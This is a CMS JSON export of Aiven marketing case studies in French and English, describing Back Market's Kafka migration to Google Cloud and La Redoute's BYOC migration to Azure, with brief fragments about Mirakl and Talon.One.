center","backgroundSize":"cover","backgroundSizeMobile":"cover","captionImage":{"_type":"captionImage","image":{"_type":"mainImage","asset":{"_ref":"image-5b86aa9a51952931cf58f9b5490719adfadac846-1200x628-png","_type":"reference"}}},"disabled":false,"fullWidth":false,"noSpaceBottom":false,"noSpaceTop":false,"roundedCorners":"rounded-none","topOverlap":false},{"_key":"37b86389dc38","_type":"textColumn","addSpaceBottom":false,"addSpaceTop":false,"backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"cover","backgroundSizeMobile":"cover","disabled":false,"fullWidth":false,"noSpaceBottom":false,"noSpaceTop":false,"roundedCorners":"rounded-none","subtitle":[{"_key":"44789c77343f","_type":"block","children":[{"_key":"900e01837e540","_type":"span","marks":[],"text":"Au final, il n’a fallu que quelques semaines à Back Market pour planifier et migrer l’ensemble de ses clusters Kafka vers Google Cloud. En utilisant Aiven for Apache Kafka avec Aiven for Apache Kafka Connect, Back Market transfère désormais ses flux de données vers son entrepôt de données principal récemment déployé, Google BigQuery."}],"markDefs":[],"style":"normal"},{"_key":"3c5a3fdeb978","_type":"block","children":[{"_key":"caf0439eb847","_type":"span","marks":[],"text":""}],"markDefs":[],"style":"normal"},{"_key":"84ce6baf0ef2","_type":"block","children":[{"_key":"3ae2b9c25ab50","_type":"span","marks":[],"text":"Back Market a réalisé cette migration sans interruption, sans impact sur ses opérations commerciales et avec une utilisation minimale de ses ressources internes. « Aiven a considérablement réduit le temps, les ressources et les risques associés à notre migration vers Google Cloud », déclare Levy."}],"markDefs":[],"style":"normal"},{"_key":"1e42286a080f","_type":"block","children":[{"_key":"d8dec38d73ec","_type":"span","marks":[],"text":""}],"markDefs":[],"style":"normal"},{"_key":"9c73c9836a9e","_type":"block","children":[{"_key":"b75edd7b36d9","_type":"span","marks":[],"text":""}],"markDefs":[],"style":"normal"},{"_key":"6430e9ab453f","_type":"image","asset":{"_ref":"image-f008f4a634fb72afaff2288059a264e6f50d5446-1200x628-png","_type":"reference"}},{"_key":"83ff7c83f76e","_type":"block","children":[{"_key":"a3bbaf40f43f0","_type":"span","marks":[],"text":""}],"markDefs":[],"style":"normal"},{"_key":"08d1f9b5a766","_type":"block","children":[{"_key":"5b72805cb2250","_type":"span","marks":[],"text":"Levy souligne d'autres avantages de travailler avec Aiven : « La nature intuitive de la console Aiven simplifie considérablement le processus de configuration de Kafka. De plus, l'équipe d'Aiven continue de nous impressionner par son service exceptionnel. Leur expertise approfondie nous a aidés à élaborer une stratégie de migration sur mesure, garantissant une transition fluide et efficace. »"}],"markDefs":[],"style":"normal"},{"_key":"83e64d33d5ba","_type":"block","children":[{"_key":"fd369fbd2e5a","_type":"span","marks":[],"text":""}],"markDefs":[],"style":"normal"},{"_key":"09ccea1d3b9c","_type":"block","children":[{"_key":"37309ec9dee60","_type":"span","marks":[],"text":"Avec son infrastructure de données fonctionnant parfaitement sur Google Cloud, des pipelines Kafka transmettant les données en temps réel et avec une très faible latence, Back Market bénéficie d'une compréhension en temps réel de son activité commerciale. Cela permet à l'entreprise de prendre rapidement des décisions éclairées concernant l'expérience client, sa contribution à l'économie circulaire et les améliorations de ses résultats financiers."}],"markDefs":[],"style":"normal"},{"_key":"b9766b3aa1d0","_type":"block","children":[{"_key":"875495e86274","_type":"span","marks":[],"text":""}],"markDefs":[],"style":"normal"},{"_key":"5cd82d0fc1ed","_type":"block","children":[{"_key":"68a929115ecc0","_type":"span","marks":[],"text":"« Nous sommes également confiants quant à notre capacité à évoluer », déclare Levy. « L'entreprise est en pleine croissance et, avec Aiven, nous n'avons pas à nous soucier du fait que notre infrastructure de données puisse nous freiner. Lorsque nous avons besoin de déployer un nouveau cluster Kafka, cela devient beaucoup plus simple et rapide grâce à Aiven. »"}],"markDefs":[],"style":"normal"}],"title":"Une prise de décision optimisée grâce à une migration fluide et sans interruption","topOverlap":false,"variant":"oneColumn"},{"_key":"a0d81898116b","_type":"coverImage","addSpaceBottom":false,"addSpaceTop":false,"backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"cover","backgroundSizeMobile":"cover","captionImage":{"_type":"captionImage","image":{"_type":"mainImage","asset":{"_ref":"image-879a9eea3250612c1e98939895b1a6c3502bfd7c-1200x628-png","_type":"reference"}}},"disabled":false,"fullWidth":false,"noSpaceBottom":false,"noSpaceTop":false,"roundedCorners":"rounded-none","topOverlap":false},{"_key":"883ddb5e1383","_type":"textColumn","addSpaceBottom":false,"addSpaceTop":false,"backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"cover","backgroundSizeMobile":"cover","disabled":false,"fullWidth":false,"noSpaceBottom":false,"noSpaceTop":false,"roundedCorners":"rounded-none","subtitle":[{"_key":"7725a064d4e8","_type":"block","children":[{"_key":"3011622341050","_type":"span","marks":[],"text":"La migration vers Google Cloud marque un nouveau chapitre pour Back Market et sa relation avec Aiven. « Il y a de nombreuses opportunités à explorer, et nous espérons mettre en place quelques preuves de concept dans les prochains mois », déclare Levy. « Nous sommes certains que, quelle que soit notre prochaine étape, Aiven nous aidera à tirer le meilleur parti de notre infrastructure de données en temps réel. »"}],"markDefs":[],"style":"normal"}],"title":"Une relation durable explorant de futures opportunités","topOverlap":false,"variant":"oneColumn"}],"heroSubtitle":"La plateforme Aiven permet une migration fluide, sans interruption, entre différents clouds.\n\n\n","heroTitle":"Back Market se Développe à l'International et Migre ses Données vers Aiven for Apache Kafka sur Google Cloud","image":{"_type":"mainImage","asset":{"_ref":"image-787a5c1fe90857b0a521f338602841908181e927-1200x628-png","_type":"reference"}},"publishedAt":"2024-07-03T07:31:03.320Z","seo":{"_type":"metaData","metaDescription":"La plateforme Aiven permet une migration fluide, sans interruption, entre différents clouds.","metaImage":{"_type":"mainImage","asset":{"_ref":"image-ddb065fa6250aebc43c6cb314c5d12224a6e0d8b-1200x628-png","_type":"reference"}},"metaTitle":"Back Market se Développe à l'International et Migre ses Données vers Aiven for Apache Kafka sur Google Cloud"},"slug":{"_type":"slug","current":"/case-studies/back-market-uses-aiven-to-enable-seamless-migration-across-clouds"},"title":"Back Market se Développe à l'International et Migre ses Données vers Aiven for Apache Kafka sur Google Cloud"}
{"__i18n_lang":"en","__i18n_refs":[{"_key":"fr","_ref":"e915be44-b540-44fc-a34f-d41bdacb82c8__i18n_fr","_type":"reference"}],"_createdAt":"2024-07-03T07:31:29Z","_id":"e915be44-b540-44fc-a34f-d41bdacb82c8","_rev":"lbpMA3MBWy0eIji4xeZ9PC","_type":"caseStudy","_updatedAt":"2024-12-09T11:46:22Z","company":{"_ref":"791c5a85-1bd2-402f-94e8-23035c3ce76a","_type":"reference"},"content":[{"_key":"a8bd0f1636ec","_type":"textColumn","addSpaceBottom":false,"addSpaceTop":false,"backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"cover","backgroundSizeMobile":"cover","disabled":false,"fullWidth":false,"noSpaceBottom":false,"noSpaceTop":false,"roundedCorners":"rounded-none","subtitle":[{"_key":"d79cb716d232","_type":"block","children":[{"_key":"fc300861d4c50","_type":"span","marks":[],"text":"Back Market’s platform connects buyers and sellers of used electronic devices that have been refurbished. To strengthen its global expansion and enhance customer service, it made the strategic decision to transfer its operations to Google Cloud. This included migrating its Aiven for Apache Kafka clusters from another cloud provider while ensuring no loss of data. Thanks to the Aiven platform, Back Market was able to conduct the migration with minimal resources, minimal risk and no downtime, laying the foundations for further business growth."}],"markDefs":[],"style":"normal"}],"topOverlap":false,"variant":"oneColumn"},{"_key":"1634ca3c4484","_type":"textColumn","addSpaceBottom":false,"addSpaceTop":false,"backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"cover","backgroundSizeMobile":"cover","disabled":false,"fullWidth":false,"noSpaceBottom":false,"noSpaceTop":false,"roundedCorners":"rounded-none","subtitle":[{"_key":"39841969ff15","_type":"block","children":[{"_key":"161a1361ff220","_type":"span","marks":[],"text":"Launched in 2014, Back Market has saved one million tons of CO2 emissions by directing buyers away from new devices and has become the global leader in the refurbishment sector. In its first ten years, the company has reached more than 13 million customers in 18 countries. Last year, Back Market enjoyed 45% growth to a turnover of EUR 320m, and sales continue to soar. Today it is focused on strengthening its position in Europe, expanding its presence in Asia, cementing its place in the US and extending the 200 different categories of refurbished gadgets available on its platform."}],"markDefs":[],"style":"normal"},{"_key":"d28307a88f70","_type":"block","children":[{"_key":"1b12d06f856f","_type":"span","marks":[],"text":""}],"markDefs":[],"style":"normal"},{"_key":"c23c6c3084d8","_type":"block","children":[{"_key":"b7fbb78695a10","_type":"span","marks":[],"text":"While doing this, Back Market must ensure seamless customer service — essential for maintaining trust in the platform and its community of 1,700 refurbishers. The company relies heavily on real-time data and analytics to fine-tune the platform’s performance and create a fantastic experience for buyers and sellers."}],"markDefs":[],"style":"normal"}],"title":"A global leader in refurbished electronic goods","topOverlap":false,"variant":"oneColumn"},{"_key":"f545e23507a7","_type":"coverImage","addSpaceBottom":false,"addSpaceTop":false,"backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"cover","backgroundSizeMobile":"cover","captionImage":{"_type":"captionImage","image":{"_type":"mainImage","asset":{"_ref":"image-69af87e2f887859f0f033dc6955eb8c708faef1b-1200x628-png","_type":"reference"}}},"disabled":false,"fullWidth":false,"noSpaceBottom":false,"noSpaceTop":false,"roundedCorners":"rounded-none","topOverlap":false},{"_key":"e72b3bf17b5b","_type":"textColumn","addSpaceBottom":false,"addSpaceTop":false,"backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"cover","backgroundSizeMobile":"cover","disabled":false,"fullWidth":false,"noSpaceBottom":false,"noSpaceTop":false,"roundedCorners":"rounded-none","subtitle":[{"_key":"7d657116808d","_type":"block","children":[{"_key":"4c74f5b1b6620","_type":"span","marks":[],"text":"In early 2024, Back Market decided to move its operations away from its existing cloud provider to Google Cloud. This included migrating Back Market’s critically important Aiven for Apache Kafka clusters. Back Market had several Apache Kafka® clusters in four regions: a live production cluster each for Europe, the US and Asia Pacific, and three clusters for its staging environment. There were also some smaller clusters used for development."}],"markDefs":[],"style":"normal"},{"_key":"8f0a561639b8","_type":"block","children":[{"_key":"fe458f6b702e","_type":"span","marks":[],"text":""}],"markDefs":[],"style":"normal"},{"_key":"63b744e75ce8","_type":"block","children":[{"_key":"8179a84502f40","_type":"span","marks":[],"text":"The company relies on Apache Kafka to flow operational data such as product information, pricing, availability and more to data analytics solutions. “Our use case isn’t that unusual,” says Tomer Levy, Data Engineer, Back Market. “We use Aiven for Apache Kafka to centralize data streaming in from a number of services and to sanitize it, before flowing it to our analysts and to key AI algorithms.”"}],"markDefs":[],"style":"normal"},{"_key":"4a89212f1f70","_type":"block","children":[{"_key":"1a67a98c2fb9","_type":"span","marks":[],"text":""}],"markDefs":[],"style":"normal"},{"_key":"28d37822735c","_type":"block","children":[{"_key":"0ebd3e7f22840","_type":"span","marks":[],"text":"Back Market uses valuable insights from the data and AI algorithms to optimize the performance of its platform. For example, identifying products most and least sold, customer buying patterns and the most valuable sellers. Another example is evaluating the products offered by different sellers and choosing the device that best meets a buyer’s unique needs."}],"markDefs":[],"style":"normal"},{"_key":"49d106c63708","_type":"block","children":[{"_key":"474d51cd2fad","_type":"span","marks":[],"text":""}],"markDefs":[],"style":"normal"},{"_key":"210770cb469a","_type":"block","children":[{"_key":"169545640bb50","_type":"span","marks":[],"text":"These kinds of insights enhance the user experience as well as enabling the business to improve its margins. The Apache Kafka migration was critical since, if any service in the data infrastructure couldn't talk to the Kafka cluster, alot of valuable data and the related performance-enhancing services could be lost, decreasing the customer experience."}],"markDefs":[],"style":"normal"},{"_key":"e6079b4962c5","_type":"block","children":[{"_key":"fbb150ba99c70","_type":"span","marks":[],"text":""}],"markDefs":[],"style":"normal"},{"_key":"c96f5424f9d9","_type":"image","asset":{"_ref":"image-ad0497746d807b7f35cad630d025f8edd514b3d0-1200x628-png","_type":"reference"}}],"title":"Migrating Apache Kafka clusters from one cloud to another ","topOverlap":false,"variant":"oneColumn"},{"_key":"01db8c0088c9","_type":"textColumn","addSpaceBottom":false,"addSpaceTop":false,"backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"cover","backgroundSizeMobile":"cover","disabled":false,"fullWidth":false,"noSpaceBottom":false,"noSpaceTop":false,"roundedCorners":"rounded-none","subtitle":[{"_key":"34fa5a52ea6a","_type":"block","children":[{"_key":"86959b5470870","_type":"span","marks":[],"text":"The relationship between Aiven and Back Market had begun three years earlier when the company revamped its data infrastructure, adopted Kafka as its data streaming platform and chose Aiven for Apache Kafka as a fully managed service."}],"markDefs":[],"style":"normal"},{"_key":"156e61345d27","_type":"block","children":[{"_key":"a6b3c7d9e8f1","_type":"span","marks":[],"text":""}],"markDefs":[],"style":"normal"},{"_key":"33a91cc2f0f4","_type":"block","children":[{"_key":"54e4fc82d3840","_type":"span","marks":[],"text":"Once Back Market had decided to move to Google Cloud, Levy and the team turned to Aiven for support with the upcoming migration. Aiven provides a platform available across multiple clouds, and all Aiven services can be located and relocated to different cloud vendors or regions. Despite this, Levy was concerned that the migration of the Kafka clusters would be a complex and time-consuming project."}],"markDefs":[],"style":"normal"},{"_key":"9551770e9450","_type":"block","children":[{"_key":"cc279ef4ff4f","_type":"span","marks":[],"text":""}],"markDefs":[],"style":"normal"},{"_key":"84dbb5bb787f","_type":"block","children":[{"_key":"1948cca843130","_type":"span","marks":[],"text":"However, following a discovery session to establish detailed requirements of the migration, Aiven demonstrated to the Back Market team that it would be a straightforward process."}],"markDefs":[],"style":"normal"},{"_key":"b6d4379a17d9","_type":"block","children":[{"_key":"c00a18b12329","_type":"span","marks":[],"text":""}],"markDefs":[],"style":"normal"},{"_key":"f15cb51ffa19","_type":"block","children":[{"_key":"a9122ee8a8880","_type":"span","marks":[],"text":"“Aiven has a strong set of tools for migrating services which facilitated most of the heavy technical lifting when we changed cloud provider,” says Levy. “It’s a killer feature which made a notable difference to the project and our levels of confidence. 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{"__i18n_base":{"_ref":"a79841f2-b791-4192-86c0-a6532b59cb2f","_type":"reference"},"__i18n_lang":"fr","_createdAt":"2022-09-19T13:45:02Z","_id":"a79841f2-b791-4192-86c0-a6532b59cb2f__i18n_fr","_rev":"lbpMA3MBWy0eIji4xkAKrG","_type":"caseStudy","_updatedAt":"2024-12-10T15:35:37Z","company":{"_ref":"a1b1HCA1GLpib0GtaoJrT","_type":"reference"},"content":[{"_key":"b451c548072c","_type":"textColumn","disabled":false,"fullWidth":false,"rounded":false,"subtitle":[{"_key":"cf8b51f14fe9","_type":"block","children":[{"_key":"66d9c14b208a0","_type":"span","marks":[],"text":"Mirakl, un fournisseur de plateformes de marketplace en ligne en forte croissance, consacrait trop de temps et d’efforts à créer et maintenir un système monolithique pour chaque client. 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L’entreprise permet aux marques, détaillants et distributeurs (B2C et B2B) de créer des plateformes vendant à la fois leurs propres produits et des inventaires tiers."}],"markDefs":[{"_key":"e6a2f62306ba","_type":"link","href":"https://www.mirakl.com/"}],"style":"normal"},{"_key":"63fb949943a0","_type":"block","children":[{"_key":"421d0a7f71de0","_type":"span","marks":[],"text":"La solution initiale de Mirakl impliquait de créer un système monolithique indépendant pour chaque client. À mesure que leur activité se développait, cette approche a commencé à demander trop d’efforts. Un système monolithique est, en effet, fragile : si une partie de l’application doit être mise à jour ou subit une panne, toutes les fonctionnalités sont impactées, laissant le client sans service et réduisant les marges du fournisseur. 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{"__i18n_lang":"en","_createdAt":"2024-06-26T09:03:24Z","_id":"7455e64b-e73e-4edd-86fa-be656d250d3c","_rev":"B04nz37LKozZFxwmhIqVts","_type":"caseStudy","_updatedAt":"2024-07-29T08:45:23Z","company":{"_ref":"727f3f76-3bb5-4b94-a943-59f28858872a","_type":"reference"},"content":[{"_key":"db614d8ffe62","_type":"textColumn","addSpaceBottom":false,"addSpaceTop":false,"backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"cover","backgroundSizeMobile":"cover","disabled":false,"fullWidth":false,"noSpaceBottom":false,"noSpaceTop":false,"roundedCorners":"rounded-none","subtitle":[{"_key":"258edbff8941","_type":"block","children":[{"_key":"16180a9be0980","_type":"span","marks":[],"text":"E-commerce giant La Redoute needed to migrate its data infrastructure from a leading cloud provider to Microsoft Azure for enhanced scalability and improved handling of peak loads during events like Black Friday. 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The company has achieved this by using Cost Savings plans, Committed Use Discounts (CUDs) and other billing and pricing features available from Microsoft."}],"markDefs":[],"style":"normal"},{"_key":"db8a722d1c8f","_type":"block","children":[{"_key":"983bda1ff2f10","_type":"span","marks":[],"text":""}],"markDefs":[],"style":"normal"},{"_key":"5506d9990721","_type":"block","children":[{"_key":"13db01be344b0","_type":"span","marks":[],"text":"“By moving to BYOC, we gained control of our cloud costs. We were able to bring the additional cost of moving from a 40% increase to a 14% increase. This was entirely acceptable to the business given the shift to new, more expensive Azure regions. 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The same goes for security: Talon.One can fully rely on Aiven’s data practices being safe. “Using Aiven, security has been just much less of a headache,” Laurens says."}],"markDefs":[],"style":"normal"}],"title":"The solution","variant":"oneColumn"},{"_key":"08eb547158c6","_type":"textColumn","addSpaceBottom":false,"addSpaceTop":false,"backgroundPosition":"center center","disabled":false,"fullWidth":false,"noSpaceBottom":false,"noSpaceTop":false,"rounded":false,"subtitle":[{"_key":"c55abf1dca0c","_type":"block","children":[{"_key":"cb2c09e529580","_type":"span","marks":[],"text":"Today Talon.One has approximately 100 corporate customers, and their databases go up to a terabyte in size for each customer. The data traffic is in the order of 60 million API calls a month per customer, and that traffic isn’t coming in steadily but in floods and trickles. The system needs to be able to respond quickly in either condition. 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De plus, en adoptant le modèle de déploiement Bring Your Own Cloud (BYOC) d’Aiven, La Redoute a réalisé des réductions significatives du coût total de possession (Total Cost of Ownership - TCO) de son empreinte sur Azure."}],"markDefs":[],"style":"normal"}],"topOverlap":false,"variant":"oneColumn"},{"_key":"5ee279f88266","_type":"textColumn","addSpaceBottom":false,"addSpaceTop":false,"backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"cover","backgroundSizeMobile":"cover","disabled":false,"fullWidth":false,"noSpaceBottom":false,"noSpaceTop":false,"roundedCorners":"rounded-none","subtitle":[{"_key":"463e95ebba74","_type":"block","children":[{"_key":"68674143e7760","_type":"span","marks":[],"text":"La Redoute, fondée il y a 186 ans en France en tant que filature de laine, est devenue un leader du e-commerce dans les domaines de la maison, de la décoration et de la mode, en tant que membre du groupe Galeries Lafayette. Avec plus de 10 millions de clients dans 26 pays, l'innovation numérique est essentielle à son succès. Sa marketplace en ligne propose des milliers d’articles de La Redoute et de plus de 800 autres marques telles qu’Adidas, Mango et Monoprix. En exploitant les données, La Redoute vise à offrir des services numériques de qualité supérieure, garantissant une expérience client inégalée et se maintenant à la pointe du marché."}],"markDefs":[],"style":"normal"}],"title":"Deux siècles de réinvention","topOverlap":false,"variant":"oneColumn"},{"_key":"dac8d84200ed","_type":"textColumn","addSpaceBottom":false,"addSpaceTop":false,"backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"cover","backgroundSizeMobile":"cover","disabled":false,"fullWidth":false,"noSpaceBottom":false,"noSpaceTop":false,"roundedCorners":"rounded-none","subtitle":[{"_key":"66129ca087e3","_type":"block","children":[{"_key":"df0731e118de0","_type":"span","marks":[],"text":"En 2020, lorsque la pandémie de COVID-19 a frappé et que les gens passaient plus de temps chez eux, La Redoute a connu une augmentation soudaine et significative de ses ventes. À mesure que les transactions sur sa marketplace augmentaient, les données associées croissaient de manière exponentielle, exerçant une pression sur les bases de données PostgreSQL sur site qui stockaient déjà une grande quantité de données, telles que les prix des produits, les références SKU et les vendeurs."}],"markDefs":[],"style":"normal"},{"_key":"934af31f3fd7","_type":"block","children":[{"_key":"d196e57b3583","_type":"span","marks":[],"text":""}],"markDefs":[],"style":"normal"},{"_key":"dd28946cdfb0","_type":"image","asset":{"_ref":"image-581f3fe22609f828dc3f3381592a64974e699e74-1200x628-png","_type":"reference"}},{"_key":"18b2688e2dfe","_type":"block","children":[{"_key":"71778fdbaadb","_type":"span","marks":[],"text":""}],"markDefs":[],"style":"normal"},{"_key":"6ae6bb64f692","_type":"block","children":[{"_key":"6fc093aeced90","_type":"span","marks":[],"text":"Déjà utilisateur d'Aiven for Apache Kafka pour le streaming de données, La Redoute s'est tournée vers Aiven pour accroître la scalabilité de ses bases de données PostgreSQL. Diogo et son équipe ont migré les bases de données vers le cloud public en utilisant Aiven for PostgreSQL et ont également commencé à utiliser Aiven for OpenSearch pour ingérer et analyser tous les journaux générés par les bases de données PostgreSQL. La Redoute a immédiatement constaté une augmentation de la scalabilité de son infrastructure de données et a pu répondre à la demande sans précédent résultant de la pandémie."}],"markDefs":[],"style":"normal"}],"title":"Les pics de ventes nécessitent une scalabilité cloud","topOverlap":false,"variant":"oneColumn"},{"_key":"908d318a993b","_type":"textColumn","addSpaceBottom":false,"addSpaceTop":false,"backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"cover","backgroundSizeMobile":"cover","disabled":false,"fullWidth":false,"noSpaceBottom":false,"noSpaceTop":false,"roundedCorners":"rounded-none","subtitle":[{"_key":"c1da06c2c59e","_type":"block","children":[{"_key":"68acc23ba2cb0","_type":"span","marks":[],"text":"À la fin de l'année 2022, La Redoute a choisi Microsoft Azure comme fournisseur cloud dans le but de rendre l'entreprise encore plus agile, réactive et évolutive. Cela visait à faciliter la gestion des différents pics de charge liés aux grands événements commerciaux tels que les soldes, Noël et le Black Friday. La migration de l'ensemble des services vers Azure, une tâche complexe et essentielle pour l'entreprise, devenait nécessaire et généralement prenait plusieurs mois. Pour Diogo et les équipes de La Redoute, cela incluait les services Aiven existants ainsi que d'autres bases de données et charges de travail fonctionnant à la fois sur l'ancien cloud et dans les environnements sur site."}],"markDefs":[],"style":"normal"},{"_key":"4bb07eb95608","_type":"block","children":[{"_key":"5ec208eb96f30","_type":"span","marks":[],"text":"Dans le cadre de la planification de la transition vers Microsoft Azure, Diogo et son équipe ont anticipé une augmentation des coûts liée au déplacement vers une nouvelle région cloud. Ils ont exploré le modèle BYOC d'Aiven pour La Redoute, découvrant qu'il permettrait à l'entreprise d'exécuter les services Aiven dans son propre compte Azure. Concluant que le modèle BYOC améliorerait le contrôle des coûts et entraînerait une réduction globale des dépenses, il est devenu l'option préférée de La Redoute pour son infrastructure de données."}],"markDefs":[],"style":"normal"}],"title":"Déploiement BYOC sur Microsoft Azure","topOverlap":false,"variant":"oneColumn"},{"_key":"b1266946b16b","_type":"coverImage","addSpaceBottom":false,"addSpaceTop":false,"backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"cover","backgroundSizeMobile":"cover","captionImage":{"_type":"captionImage","image":{"_type":"mainImage","asset":{"_ref":"image-58bb3b036942bf2862c62f77cf55d92680a40658-1090x614-jpg","_type":"reference"}}},"disabled":false,"fullWidth":false,"noSpaceBottom":false,"noSpaceTop":false,"roundedCorners":"rounded-none","topOverlap":false},{"_key":"080d1d8455d8","_type":"textColumn","addSpaceBottom":false,"addSpaceTop":false,"backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"cover","backgroundSizeMobile":"cover","disabled":false,"fullWidth":false,"noSpaceBottom":false,"noSpaceTop":false,"roundedCorners":"rounded-none","subtitle":[{"_key":"61ec1396e4a7","_type":"block","children":[{"_key":"f1bc03e092ae0","_type":"span","marks":[],"text":"L’entreprise s’est lancée dans la migration multi-facettes vers Azure. Pour PostgreSQL, l’équipe de La Redoute avait initialement prévu d’utiliser les outils d’Aiven, offrant une option de migration en un clic entre clouds et régions. Cependant, comme les migrations sont souvent l’occasion de revoir certains détails d’implémentation, l’équipe a saisi l’opportunité de moderniser les scripts Terraform utilisés pour définir la précédente plateforme cloud et de mettre à jour PostgreSQL vers la dernière version. En raison de ces changements, la migration de PostgreSQL a été réalisée en utilisant le cadre traditionnel consistant à construire l’infrastructure cible, puis, après avoir synchronisé les données, à effectuer le basculement."}],"markDefs":[],"style":"normal"},{"_key":"d095d3618551","_type":"block","children":[{"_key":"332e30fd77c70","_type":"span","marks":[],"text":"« La majeure partie de notre temps de migration PostgreSQL a été consacrée à l’automatisation, mais une fois ces sprints achevés, nous avons eu des journées où nous avons migré 25 bases de données. »"}],"markDefs":[],"style":"normal"},{"_key":"a48cea1a7ebf","_type":"image","asset":{"_ref":"image-f8d960e5da9ea803506b11927e13ef0975394b00-1200x628-png","_type":"reference"}},{"_key":"32835fc1f197","_type":"block","children":[{"_key":"2f2d9189026f0","_type":"span","marks":[],"text":""}],"markDefs":[],"style":"normal"},{"_key":"8aa88aa51e81","_type":"block","children":[{"_key":"35ee0e167cb30","_type":"span","marks":[],"text":"Les autres migrations, comme celles d’Aiven for Kafka et Aiven for OpenSearch, ont été beaucoup plus simples et rapides. La Redoute n’ayant pas besoin de modifications, elle s’est appuyée sur les outils de migration en un clic d’Aiven et sur l’expertise de l’équipe Aiven pour préparer, exécuter et surveiller la transition."}],"markDefs":[],"style":"normal"},{"_key":"387be301bfc5","_type":"block","children":[{"_key":"97c2a52fb7fc0","_type":"span","marks":[],"text":"En réfléchissant à la migration cloud, Diogo déclare : « Habituellement, lorsqu’une organisation décide de changer complètement de fournisseur hyperscaler, cela engendre toutes sortes de problèmes. Mais migrer nos services Aiven a été fluide. Le seul inconvénient était de notre côté, avec notre code, que nous avons restructuré. Le fait qu’Aiven soit indépendant du cloud, et que nous puissions changer de cloud d’une simple pression sur un bouton, est une grande victoire pour nous et nous a fait gagner beaucoup de temps. »"}],"markDefs":[],"style":"normal"}],"title":"Migrer une infrastructure cloud en un clic","topOverlap":false,"variant":"oneColumn"},{"_key":"9a36a7ff7d78","_type":"textColumn","addSpaceBottom":false,"addSpaceTop":false,"backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"cover","backgroundSizeMobile":"cover","disabled":false,"fullWidth":false,"noSpaceBottom":false,"noSpaceTop":false,"roundedCorners":"rounded-none","subtitle":[{"_key":"ae3eaaa2e4c2","_type":"block","children":[{"_key":"87aca8dd3a580","_type":"span","marks":[],"text":"Le modèle BYOC a permis à La Redoute de réduire le coût total de possession de l’infrastructure cloud Azure liée à ses services Aiven. L’entreprise a réalisé cette réduction en utilisant des plans d’économies de coûts, des remises d’utilisation engagée (Committed Usage Discounts - CUDs) et d’autres fonctionnalités de facturation et de tarification proposées par Microsoft."}],"markDefs":[],"style":"normal"},{"_key":"c1360f855e0f","_type":"block","children":[{"_key":"182da9c1f90f0","_type":"span","marks":[],"text":"« En passant au BYOC, nous avons pris le contrôle de nos coûts cloud. Nous avons pu réduire l’augmentation des coûts, qui est passée de 40 % à 14 %. Cela était tout à fait acceptable pour l’entreprise compte tenu de la transition vers de nouvelles régions Azure, plus coûteuses. Nous avons ensuite lancé des initiatives internes au sein de l’équipe DBA pour transformer cette augmentation en économies nettes, par exemple avec l’arrêt automatisé des bases de données non productives en dehors des heures de travail », explique Diogo."}],"markDefs":[],"style":"normal"},{"_key":"04626c105e7f","_type":"block","children":[{"_key":"c27d8e2aba210","_type":"span","marks":[],"text":"Un autre avantage clé du déploiement BYOC est qu’il aide La Redoute à répondre aux exigences réglementaires et de conformité, comme le RGPD. « Notre équipe de sécurité apprécie particulièrement le modèle BYOC d’Aiven. Comme toute l’infrastructure de bases de données — y compris les données clients — est désormais sur notre locataire, elle est plus facilement gérée et étroitement contrôlée. »"}],"markDefs":[],"style":"normal"}],"title":"Réduction du TCO et amélioration de la sécurité grâce au BYOC","topOverlap":false,"variant":"oneColumn"},{"_key":"2feef7ff6a67","_type":"coverImage","addSpaceBottom":false,"addSpaceTop":false,"backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"cover","backgroundSizeMobile":"cover","captionImage":{"_type":"captionImage","image":{"_type":"mainImage","asset":{"_ref":"image-ccc24c9234f6001658436e93eb4d2c54b535df33-2048x1536-jpg","_type":"reference"}}},"disabled":false,"fullWidth":false,"noSpaceBottom":false,"noSpaceTop":false,"roundedCorners":"rounded-none","topOverlap":false},{"_key":"ad0e1d709ae0","_type":"textColumn","addSpaceBottom":false,"addSpaceTop":false,"backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"cover","backgroundSizeMobile":"cover","disabled":false,"fullWidth":false,"noSpaceBottom":false,"noSpaceTop":false,"roundedCorners":"rounded-none","subtitle":[{"_key":"153e21c75060","_type":"block","children":[{"_key":"2aaf512763540","_type":"span","marks":[],"text":"La plateforme Aiven a permis à Diogo d’élargir les capacités de son équipe pour apporter plus de valeur à davantage de domaines de l’entreprise. Désormais, Aiven prend en charge tous les domaines d’activité de La Redoute, de la logistique et du marketing aux systèmes de commande et de paiement."}],"markDefs":[],"style":"normal"},{"_key":"d077cb45e568","_type":"block","children":[{"_key":"2ec702ae366c0","_type":"span","marks":[],"text":"« L’équipe avait auparavant une mentalité traditionnelle de DBA et passait jusqu’à 90 % de sa journée à effectuer des tâches de maintenance, de correction et de mise à jour. Tout cela est désormais géré par Aiven, ce qui libère l’équipe pour se concentrer sur des projets métier et fournir des solutions beaucoup plus rapidement. Nous pouvons déployer des bases de données en quelques minutes plutôt qu’en plusieurs semaines », explique Diogo."}],"markDefs":[],"style":"normal"},{"_key":"2844129c0142","_type":"block","children":[{"_key":"a0182b536a71","_type":"span","marks":[],"text":""}],"markDefs":[],"style":"normal"},{"_key":"a090bed0f4e5","_type":"image","asset":{"_ref":"image-04255c482a039b790c034f92e613417090081550-1200x628-png","_type":"reference"}},{"_key":"a7850b244c3e","_type":"block","children":[{"_key":"6ac526ed36130","_type":"span","marks":[],"text":""}],"markDefs":[],"style":"normal"},{"_key":"efde2f986d23","_type":"block","children":[{"_key":"31defbbe50520","_type":"span","marks":[],"text":"La Redoute évalue d’autres services Aiven. Diogo déclare : « Nous explorons des opportunités dans la couche d’observabilité avec Grafana et OpenSearch, ainsi 